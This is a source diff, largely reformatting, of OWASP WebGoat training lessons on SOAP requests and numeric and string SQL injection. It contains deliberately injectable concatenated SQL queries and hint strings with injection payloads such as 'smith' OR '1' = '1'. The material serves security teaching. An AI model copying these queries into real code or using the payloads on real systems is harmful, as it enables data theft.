* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
* @author asmolen
*
* TODO To change the template for this generated type comment go to
* Window - Preferences - Java - Code Style - Code Templates
* TODO To change the template for this generated type comment go to Window - Preferences - Java -
* Code Style - Code Templates
*/
public class SoapRequest extends SequentialLessonAdapter
{
@ -73,7 +70,7 @@ public class SoapRequest extends SequentialLessonAdapter
public final static String ccNumber = "getCreditCard";
//int instead of boolean to keep track of method invocation count
// int instead of boolean to keep track of method invocation count
static int accessFirstName;
static int accessLastName;
@ -85,19 +82,21 @@ public class SoapRequest extends SequentialLessonAdapter
private static WebgoatContext webgoatContext;
/**
* We maintain a static reference to WebgoatContext, since this class
* is also automatically instantiated by the Axis web services module,
* which does not call setWebgoatContext()
* We maintain a static reference to WebgoatContext, since this class is also automatically
* instantiated by the Axis web services module, which does not call setWebgoatContext()
* (non-Javadoc)
*
* @see org.owasp.webgoat.lessons.AbstractLesson#setWebgoatContext(org.owasp.webgoat.session.WebgoatContext)
*/
@Override
public void setWebgoatContext(WebgoatContext webgoatContext) {
public void setWebgoatContext(WebgoatContext webgoatContext)
{
SoapRequest.webgoatContext = webgoatContext;
}
@Override
public WebgoatContext getWebgoatContext() {
public WebgoatContext getWebgoatContext()
{
return SoapRequest.webgoatContext;
}
@ -106,7 +105,6 @@ public class SoapRequest extends SequentialLessonAdapter
return Category.WEB_SERVICES;
}
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
@ -143,8 +141,7 @@ public class SoapRequest extends SequentialLessonAdapter
+ "&nbsp;&nbsp;&lt;SOAP-ENV:Body&gt; <br>"
+ "&nbsp;&nbsp;&nbsp;&nbsp;&lt;ns1:getFirstName SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\" xmlns:ns1=\"http://lessons\"&gt; <br>"
+ "&nbsp;&nbsp;&nbsp;&nbsp;&lt;id xsi:type=\"xsd:int\"&gt;101&lt;/id&gt; <br>"
+ "&nbsp;&nbsp;&nbsp;&nbsp;&lt;/ns1:getFirstName&gt; <br>"
+ "&nbsp;&nbsp;&lt;/SOAP-ENV:Body&gt; <br>"
+ "&nbsp;&nbsp;&nbsp;&nbsp;&lt;/ns1:getFirstName&gt; <br>" + "&nbsp;&nbsp;&lt;/SOAP-ENV:Body&gt; <br>"
+ "&lt;/SOAP-ENV:Envelope&gt; <br><br>"
+ "Intercept the HTTP request and try to create a SOAP request.";
soapEnv.replaceAll("(?s) ", "&nbsp;");
@ -155,19 +152,16 @@ public class SoapRequest extends SequentialLessonAdapter
private final static Integer DEFAULT_RANKING = new Integer(100);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
public String getTitle()
{
return "Create a SOAP Request";
}
protected Element makeOperationsLine(WebSession s)
{
ElementContainer ec = new ElementContainer();
@ -180,8 +174,7 @@ public class SoapRequest extends SequentialLessonAdapter
}
TR tr = new TR();
tr.addElement(new TD()
.addElement("How many operations are defined in the WSDL: "));
tr.addElement(new TD().addElement("How many operations are defined in the WSDL: "));
tr.addElement(new TD(new Input(Input.TEXT, "count", "")));
Element b = ECSFactory.makeButton("Submit");
tr.addElement(new TD(b).setAlign("LEFT"));
@ -192,7 +185,6 @@ public class SoapRequest extends SequentialLessonAdapter
return ec;
}
protected Element makeTypeLine(WebSession s)
{
ElementContainer ec = new ElementContainer();
@ -205,8 +197,7 @@ public class SoapRequest extends SequentialLessonAdapter
}
TR tr = new TR();
tr
.addElement(new TD()
tr.addElement(new TD()
.addElement("Now, what is the type of the (id) parameter in the \"getFirstNameRequest\" method: "));
tr.addElement(new TD(new Input(Input.TEXT, "type", "")));
Element b = ECSFactory.makeButton("Submit");
@ -218,36 +209,31 @@ public class SoapRequest extends SequentialLessonAdapter
return ec;
}
protected Element createContent(WebSession s)
{
return super.createStagedContent(s);
}
protected Element doStage1(WebSession s) throws Exception
{
return viewWsdl(s);
}
protected Element doStage2(WebSession s) throws Exception
{
return determineType(s);
}
protected Element doStage3(WebSession s) throws Exception
{
return createSoapEnvelope(s);
}
protected Element viewWsdl(WebSession s)
{
ElementContainer ec = new ElementContainer();
//DEVNOTE: Test for stage completion.
// DEVNOTE: Test for stage completion.
try
{
int operationCount = 0;
@ -265,61 +251,57 @@ public class SoapRequest extends SequentialLessonAdapter
{
s.setMessage("Sorry, that is an incorrect count. Try Again.");
}
}
catch (NumberFormatException nfe)
} catch (NumberFormatException nfe)
{
//DEVNOTE: Eat the exception.
//ec.addElement( new P().addElement( nfe.getMessage() ) );
// DEVNOTE: Eat the exception.
// ec.addElement( new P().addElement( nfe.getMessage() ) );
s.setMessage("Sorry, that answer is invalid. Try again.");
}
catch (ParameterNotFoundException pnfe)
} catch (ParameterNotFoundException pnfe)
{
//DEVNOTE: Eat the exception.
// DEVNOTE: Eat the exception.
// ec.addElement( new P().addElement( pnfe.getMessage() ) );
}
catch (Exception e)
} catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
//DEVNOTE: Conditionally display Stage1 content depending on whether stage is completed or not
// DEVNOTE: Conditionally display Stage1 content depending on whether stage is completed or
// not
if (getLessonTracker(s).getStage() == 1)
//if ( null == (getLessonTracker(s).getLessonProperties().getProperty(WebSession.STAGE)) ||
// if ( null == (getLessonTracker(s).getLessonProperties().getProperty(WebSession.STAGE)) ||
// (getLessonTracker(s).getLessonProperties().getProperty(WebSession.STAGE)).equals("1") )
{
ec.addElement(makeOperationsLine(s));
A a = new A("services/SoapRequest?WSDL", "WebGoat WSDL File");
ec
.addElement(new P()
.addElement("View the following WSDL and count available operations:"));
ec.addElement(new P().addElement("View the following WSDL and count available operations:"));
ec.addElement(new BR());
ec.addElement(a);
}
//getLessonTracker( s ).setCompleted( SoapRequest.completed );
// getLessonTracker( s ).setCompleted( SoapRequest.completed );
return (ec);
}
protected Element determineType(WebSession s)
{
ElementContainer ec = new ElementContainer();
//DEVNOTE: Test for stage completion.
// DEVNOTE: Test for stage completion.
try
{
String paramType = "";
paramType = s.getParser().getStringParameter("type");
//if (paramType.equalsIgnoreCase("int"))
// if (paramType.equalsIgnoreCase("int"))
if (paramType.equals("int"))
{
getLessonTracker(s).setStage(3);
s.setMessage("Stage 2 completed. ");
//s.setMessage("Now, you'll craft a SOAP envelope for invoking a web service directly.");
// s.setMessage("Now, you'll craft a SOAP envelope for invoking a web service
// directly.");
// Redirect user to Stage2 content.
ec.addElement(doStage3(s));
@ -328,39 +310,35 @@ public class SoapRequest extends SequentialLessonAdapter
{
s.setMessage("Sorry, that is an incorrect type. Try Again.");
}
}
catch (ParameterNotFoundException pnfe)
} catch (ParameterNotFoundException pnfe)
{
//DEVNOTE: Eat the exception.
// DEVNOTE: Eat the exception.
// ec.addElement( new P().addElement( pnfe.getMessage() ) );
}
catch (Exception e)
} catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
//DEVNOTE: Conditionally display Stage2 content depending on whether stage is completed or not
// DEVNOTE: Conditionally display Stage2 content depending on whether stage is completed or
// not
if (getLessonTracker(s).getStage() == 2)
//if ( null == (getLessonTracker(s).getLessonProperties().getProperty(WebSession.STAGE)) ||
// if ( null == (getLessonTracker(s).getLessonProperties().getProperty(WebSession.STAGE)) ||
// (getLessonTracker(s).getLessonProperties().getProperty(WebSession.STAGE)).equals("2") )
{
ec.addElement(makeTypeLine(s));
A a = new A("services/SoapRequest?WSDL", "WebGoat WSDL File");
ec
.addElement(new P()
.addElement("View the following WSDL and count available operations:"));
ec.addElement(new P().addElement("View the following WSDL and count available operations:"));
ec.addElement(new BR());
ec.addElement(a);
}
//getLessonTracker( s ).setCompleted( SoapRequest.completed );
// getLessonTracker( s ).setCompleted( SoapRequest.completed );
return (ec);
}
protected Element createSoapEnvelope(WebSession s)
{
ElementContainer ec = new ElementContainer();
@ -369,9 +347,9 @@ public class SoapRequest extends SequentialLessonAdapter
// before completing the lesson.
if ((accessFirstName + accessLastName + accessCreditCard + accessLoginCount) >= 2)
{
/** Reset function access counters **/
/** Reset function access counters * */
accessFirstName = accessLastName = accessCreditCard = accessLoginCount = 0;
//SoapRequest.completed = true;
// SoapRequest.completed = true;
makeSuccess(s);
}
else
@ -381,8 +359,7 @@ public class SoapRequest extends SequentialLessonAdapter
ec
.addElement(new P()
.addElement("Intercept the request and invoke any method by sending a valid SOAP request for a valid account. <br>"));
Element b = ECSFactory
.makeButton("Press to generate an HTTP request");
Element b = ECSFactory.makeButton("Press to generate an HTTP request");
ec.addElement(b);
// conditionally display invoked methods
@ -412,89 +389,88 @@ public class SoapRequest extends SequentialLessonAdapter
A a = new A("services/SoapRequest?WSDL", "WebGoat WSDL File");
ec.addElement(new BR());
ec.addElement(a);
}
//getLessonTracker( s ).setCompleted( SoapRequest.completed );
return (ec);
}
// getLessonTracker( s ).setCompleted( SoapRequest.completed );
return (ec);
}
public String getResults(int id, String field)
{
try
{
Connection connection = DatabaseUtilities.getConnection("guest", getWebgoatContext());
PreparedStatement ps = connection
.prepareStatement("SELECT * FROM user_data WHERE userid = ?");
PreparedStatement ps = connection.prepareStatement("SELECT * FROM user_data WHERE userid = ?");
ps.setInt(1, id);
try
{
ResultSet results = ps.executeQuery();
if ((results != null) && (results.next() == true))
if ((results != null) && (results.next() == true)) { return results.getString(field); }
} catch (SQLException sqle)
{
return results.getString(field);
}
} catch (Exception e)
{
}
catch (SQLException sqle)
{}
}
catch (Exception e)
{}
return null;
}
public String getCreditCard(int id)
{
String result = getResults(id, "cc_number");
//SoapRequest.completed = true;
// SoapRequest.completed = true;
if (result != null)
{
//DEVNOTE: Always set method access counter to (1) no matter how many times it is accessed.
// This is intended to be used to determine how many methods have been accessed, not how often.
// DEVNOTE: Always set method access counter to (1) no matter how many times it is
// accessed.
// This is intended to be used to determine how many methods have been accessed, not how
// often.
accessCreditCard = 1;
return result;
}
return null;
}
public String getFirstName(int id)
{
String result = getResults(id, "first_name");
if (result != null)
{
//DEVNOTE: Always set method access counter to (1) no matter how many times it is accessed.
// This is intended to be used to determine how many methods have been accessed, not how often.
// DEVNOTE: Always set method access counter to (1) no matter how many times it is
// accessed.
// This is intended to be used to determine how many methods have been accessed, not how
// often.
accessFirstName = 1;
return result;
}
return null;
}
public String getLastName(int id)
{
String result = getResults(id, "last_name");
if (result != null)
{
//DEVNOTE: Always set method access counter to (1) no matter how many times it is accessed.
// This is intended to be used to determine how many methods have been accessed, not how often.
// DEVNOTE: Always set method access counter to (1) no matter how many times it is
// accessed.
// This is intended to be used to determine how many methods have been accessed, not how
// often.
accessLastName = 1;
return result;
}
return null;
}
public String getLoginCount(int id)
{
String result = getResults(id, "login_count");
if (result != null)
{
//DEVNOTE: Always set method access counter to (1) no matter how many times it is accessed.
// This is intended to be used to determine how many methods have been accessed, not how often.
// DEVNOTE: Always set method access counter to (1) no matter how many times it is
// accessed.
// This is intended to be used to determine how many methods have been accessed, not how
// often.
accessLoginCount = 1;
return result;
}

View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons;
import java.sql.Connection;
@ -11,7 +12,6 @@ import java.util.Iterator;
import java.util.List;
import java.util.Map;
import java.util.TreeMap;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.html.BR;
@ -23,32 +23,31 @@ import org.owasp.webgoat.session.DatabaseUtilities;
import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
@ -61,11 +60,11 @@ public class SqlNumericInjection extends SequentialLessonAdapter
private String station;
/**
* Description of the Method
*
* @param s Description of the Parameter
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
@ -74,19 +73,16 @@ public class SqlNumericInjection extends SequentialLessonAdapter
return super.createStagedContent(s);
}
protected Element doStage1(WebSession s) throws Exception
{
return injectableQuery(s);
}
protected Element doStage2(WebSession s) throws Exception
{
return parameterizedQuery(s);
}
protected Element injectableQuery(WebSession s)
{
ElementContainer ec = new ElementContainer();
@ -111,23 +107,20 @@ public class SqlNumericInjection extends SequentialLessonAdapter
ec.addElement(new PRE(query));
if (station == null)
return ec;
if (station == null) return ec;
Connection connection = DatabaseUtilities.getConnection(s);
try
{
Statement statement = connection.createStatement(
ResultSet.TYPE_SCROLL_INSENSITIVE,
Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement.executeQuery(query);
if ((results != null) && (results.first() == true))
{
ResultSetMetaData resultsMetaData = results.getMetaData();
ec.addElement(DatabaseUtilities.writeTable(results,
resultsMetaData));
ec.addElement(DatabaseUtilities.writeTable(results, resultsMetaData));
results.last();
// If they get back more than one row they succeeded
@ -135,8 +128,7 @@ public class SqlNumericInjection extends SequentialLessonAdapter
{
makeSuccess(s);
getLessonTracker(s).setStage(2);
s
.setMessage("Start this lesson over to attack a parameterized query.");
s.setMessage("Start this lesson over to attack a parameterized query.");
}
}
else
@ -144,13 +136,11 @@ public class SqlNumericInjection extends SequentialLessonAdapter
ec.addElement("No results matched. Try Again.");
}
}
catch (SQLException sqle)
} catch (SQLException sqle)
{
ec.addElement(new P().addElement(sqle.getMessage()));
}
}
catch (Exception e)
} catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
@ -159,13 +149,11 @@ public class SqlNumericInjection extends SequentialLessonAdapter
return (ec);
}
protected Element parameterizedQuery(WebSession s)
{
ElementContainer ec = new ElementContainer();
ec
.addElement("Now that you have successfully performed an SQL injection, try the same "
ec.addElement("Now that you have successfully performed an SQL injection, try the same "
+ " type of attack on a parameterized query.");
// if ( s.getParser().getRawParameter( ACCT_NUM, "101" ).equals("restart"))
// {
@ -187,13 +175,11 @@ public class SqlNumericInjection extends SequentialLessonAdapter
ec.addElement(new PRE(query));
if (station == null)
return ec;
if (station == null) return ec;
try
{
PreparedStatement statement = connection.prepareStatement(
query, ResultSet.TYPE_SCROLL_INSENSITIVE,
PreparedStatement statement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
statement.setInt(1, Integer.parseInt(station));
ResultSet results = statement.executeQuery();
@ -201,8 +187,7 @@ public class SqlNumericInjection extends SequentialLessonAdapter
if ((results != null) && (results.first() == true))
{
ResultSetMetaData resultsMetaData = results.getMetaData();
ec.addElement(DatabaseUtilities.writeTable(results,
resultsMetaData));
ec.addElement(DatabaseUtilities.writeTable(results, resultsMetaData));
results.last();
// If they get back more than one row they succeeded
@ -215,19 +200,14 @@ public class SqlNumericInjection extends SequentialLessonAdapter
{
ec.addElement("No results matched. Try Again.");
}
}
catch (SQLException sqle)
} catch (SQLException sqle)
{
ec.addElement(new P().addElement(sqle.getMessage()));
}
catch (NumberFormatException npe)
} catch (NumberFormatException npe)
{
ec.addElement(new P()
.addElement("Error parsing station as a number: "
+ npe.getMessage()));
ec.addElement(new P().addElement("Error parsing station as a number: " + npe.getMessage()));
}
}
catch (Exception e)
} catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
@ -236,15 +216,11 @@ public class SqlNumericInjection extends SequentialLessonAdapter
return (ec);
}
protected Element makeStationList(WebSession s) throws SQLException,
ClassNotFoundException
protected Element makeStationList(WebSession s) throws SQLException, ClassNotFoundException
{
ElementContainer ec = new ElementContainer();
ec
.addElement(new P()
.addElement("Select your local weather station: "));
ec.addElement(new P().addElement("Select your local weather station: "));
Map stations = getStations(s);
Select select = new Select(STATION_ID);
@ -252,8 +228,7 @@ public class SqlNumericInjection extends SequentialLessonAdapter
while (it.hasNext())
{
String key = (String) it.next();
select.addElement(new Option(key).addElement((String) stations
.get(key)));
select.addElement(new Option(key).addElement((String) stations.get(key)));
}
ec.addElement(select);
ec.addElement(new P());
@ -264,14 +239,12 @@ public class SqlNumericInjection extends SequentialLessonAdapter
return ec;
}
/**
* Gets the stations from the db
*
* @return A map containing each station, indexed by station number
*/
protected Map getStations(WebSession s) throws SQLException,
ClassNotFoundException
protected Map getStations(WebSession s) throws SQLException, ClassNotFoundException
{
Connection connection = DatabaseUtilities.getConnection(s);
@ -281,8 +254,7 @@ public class SqlNumericInjection extends SequentialLessonAdapter
try
{
Statement statement = connection.createStatement(
ResultSet.TYPE_SCROLL_INSENSITIVE,
Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement.executeQuery(query);
@ -295,18 +267,17 @@ public class SqlNumericInjection extends SequentialLessonAdapter
String station = results.getString("station");
String name = results.getString("name");
//<START_OMIT_SOURCE>
// <START_OMIT_SOURCE>
if (!station.equals("10001") && !station.equals("11001"))
{
stations.put(station, name);
}
//<END_OMIT_SOURCE>
// <END_OMIT_SOURCE>
}
results.close();
}
}
catch (SQLException sqle)
} catch (SQLException sqle)
{
sqle.printStackTrace();
}
@ -314,7 +285,6 @@ public class SqlNumericInjection extends SequentialLessonAdapter
return stations;
}
/**
* Gets the category attribute of the SqNumericInjection object
*
@ -325,7 +295,6 @@ public class SqlNumericInjection extends SequentialLessonAdapter
return Category.INJECTION;
}
/**
* Gets the hints attribute of the DatabaseFieldScreen object
*
@ -334,13 +303,10 @@ public class SqlNumericInjection extends SequentialLessonAdapter
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints
.add("The application is taking your input and inserting it at the end of a pre-formed SQL command.");
hints
.add("This is the code for the query being built and issued by WebGoat:<br><br> "
hints.add("The application is taking your input and inserting it at the end of a pre-formed SQL command.");
hints.add("This is the code for the query being built and issued by WebGoat:<br><br> "
+ "\"SELECT * FROM weather_data WHERE station = \" + station ");
hints
.add("Compound SQL statements can be made by joining multiple tests with keywords like AND and OR. "
hints.add("Compound SQL statements can be made by joining multiple tests with keywords like AND and OR. "
+ "Try appending a SQL statement that always resolves to true.");
hints.add("Try entering [ 101 OR 1 = 1 ].");
@ -349,13 +315,11 @@ public class SqlNumericInjection extends SequentialLessonAdapter
private final static Integer DEFAULT_RANKING = new Integer(70);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the title attribute of the DatabaseFieldScreen object
*
@ -366,19 +330,18 @@ public class SqlNumericInjection extends SequentialLessonAdapter
return ("Numeric SQL Injection");
}
/**
* Constructor for the DatabaseFieldScreen object
*
* @param s Description of the Parameter
* @param s
* Description of the Parameter
*/
public void handleRequest(WebSession s)
{
try
{
super.handleRequest(s);
}
catch (Exception e)
} catch (Exception e)
{
System.out.println("Exception caught: " + e);
e.printStackTrace(System.out);

View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons;
import java.sql.Connection;
@ -8,7 +9,6 @@ import java.sql.SQLException;
import java.sql.Statement;
import java.util.ArrayList;
import java.util.List;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.html.BR;
@ -19,32 +19,31 @@ import org.owasp.webgoat.session.DatabaseUtilities;
import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
@ -59,11 +58,11 @@ public class SqlStringInjection extends SequentialLessonAdapter
private String accountName;
/**
* Description of the Method
*
* @param s Description of the Parameter
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s)
@ -71,19 +70,16 @@ public class SqlStringInjection extends SequentialLessonAdapter
return super.createStagedContent(s);
}
protected Element doStage1(WebSession s) throws Exception
{
return injectableQuery(s);
}
protected Element doStage2(WebSession s) throws Exception
{
return parameterizedQuery(s);
}
protected Element injectableQuery(WebSession s)
{
ElementContainer ec = new ElementContainer();
@ -94,22 +90,19 @@ public class SqlStringInjection extends SequentialLessonAdapter
ec.addElement(makeAccountLine(s));
String query = "SELECT * FROM user_data WHERE last_name = '"
+ accountName + "'";
String query = "SELECT * FROM user_data WHERE last_name = '" + accountName + "'";
ec.addElement(new PRE(query));
try
{
Statement statement = connection.createStatement(
ResultSet.TYPE_SCROLL_INSENSITIVE,
Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement.executeQuery(query);
if ((results != null) && (results.first() == true))
{
ResultSetMetaData resultsMetaData = results.getMetaData();
ec.addElement(DatabaseUtilities.writeTable(results,
resultsMetaData));
ec.addElement(DatabaseUtilities.writeTable(results, resultsMetaData));
results.last();
// If they get back more than one user they succeeded
@ -121,11 +114,9 @@ public class SqlStringInjection extends SequentialLessonAdapter
StringBuffer msg = new StringBuffer();
msg.append("Bet you can't do it again! ");
msg
.append("This lesson has detected your successfull attack ");
msg.append("This lesson has detected your successfull attack ");
msg.append("and has now switched to a defensive mode. ");
msg
.append("Try again to attack a parameterized query.");
msg.append("Try again to attack a parameterized query.");
s.setMessage(msg.toString());
}
@ -134,14 +125,12 @@ public class SqlStringInjection extends SequentialLessonAdapter
{
ec.addElement("No results matched. Try Again.");
}
}
catch (SQLException sqle)
} catch (SQLException sqle)
{
ec.addElement(new P().addElement(sqle.getMessage()));
sqle.printStackTrace();
}
}
catch (Exception e)
} catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
@ -150,17 +139,14 @@ public class SqlStringInjection extends SequentialLessonAdapter
return (ec);
}
protected Element parameterizedQuery(WebSession s)
{
ElementContainer ec = new ElementContainer();
ec
.addElement("Now that you have successfully performed an SQL injection, try the same "
ec.addElement("Now that you have successfully performed an SQL injection, try the same "
+ " type of attack on a parameterized query. Restart the lesson if you wish "
+ " to return to the injectable query");
if (s.getParser().getRawParameter(ACCT_NAME, "YOUR_NAME").equals(
"restart"))
if (s.getParser().getRawParameter(ACCT_NAME, "YOUR_NAME").equals("restart"))
{
getLessonTracker(s).getLessonProperties().setProperty(STAGE, "1");
return (injectableQuery(s));
@ -179,8 +165,7 @@ public class SqlStringInjection extends SequentialLessonAdapter
try
{
PreparedStatement statement = connection.prepareStatement(
query, ResultSet.TYPE_SCROLL_INSENSITIVE,
PreparedStatement statement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
statement.setString(1, accountName);
ResultSet results = statement.executeQuery();
@ -188,8 +173,7 @@ public class SqlStringInjection extends SequentialLessonAdapter
if ((results != null) && (results.first() == true))
{
ResultSetMetaData resultsMetaData = results.getMetaData();
ec.addElement(DatabaseUtilities.writeTable(results,
resultsMetaData));
ec.addElement(DatabaseUtilities.writeTable(results, resultsMetaData));
results.last();
// If they get back more than one user they succeeded
@ -202,13 +186,11 @@ public class SqlStringInjection extends SequentialLessonAdapter
{
ec.addElement("No results matched. Try Again.");
}
}
catch (SQLException sqle)
} catch (SQLException sqle)
{
ec.addElement(new P().addElement(sqle.getMessage()));
}
}
catch (Exception e)
} catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
@ -217,7 +199,6 @@ public class SqlStringInjection extends SequentialLessonAdapter
return (ec);
}
protected Element makeAccountLine(WebSession s)
{
ElementContainer ec = new ElementContainer();
@ -234,7 +215,6 @@ public class SqlStringInjection extends SequentialLessonAdapter
}
/**
* Gets the category attribute of the SqNumericInjection object
*
@ -245,7 +225,6 @@ public class SqlStringInjection extends SequentialLessonAdapter
return Category.INJECTION;
}
/**
* Gets the hints attribute of the DatabaseFieldScreen object
*
@ -254,13 +233,10 @@ public class SqlStringInjection extends SequentialLessonAdapter
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints
.add("The application is taking your input and inserting it at the end of a pre-formed SQL command.");
hints
.add("This is the code for the query being built and issued by WebGoat:<br><br> "
hints.add("The application is taking your input and inserting it at the end of a pre-formed SQL command.");
hints.add("This is the code for the query being built and issued by WebGoat:<br><br> "
+ "\"SELECT * FROM user_data WHERE last_name = \" + accountName ");
hints
.add("Compound SQL statements can be made by joining multiple tests with keywords like AND and OR."
hints.add("Compound SQL statements can be made by joining multiple tests with keywords like AND and OR."
+ "Try appending a SQL statement that always resolves to true");
hints.add("Try entering [ smith' OR '1' = '1 ].");
@ -269,13 +245,11 @@ public class SqlStringInjection extends SequentialLessonAdapter
private final static Integer DEFAULT_RANKING = new Integer(75);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the title attribute of the DatabaseFieldScreen object
*
@ -286,19 +260,18 @@ public class SqlStringInjection extends SequentialLessonAdapter
return ("String SQL Injection");
}
/**
* Constructor for the DatabaseFieldScreen object
*
* @param s Description of the Parameter
* @param s
* Description of the Parameter
*/
public void handleRequest(WebSession s)
{
try
{
super.handleRequest(s);
}
catch (Exception e)
} catch (Exception e)
{
System.out.println("Exception caught: " + e);
e.printStackTrace(System.out);

View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons;
import java.sql.Connection;
@ -23,32 +24,31 @@ import org.apache.ecs.html.TextArea;
import org.owasp.webgoat.session.*;
import org.owasp.webgoat.util.HtmlEncoder;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
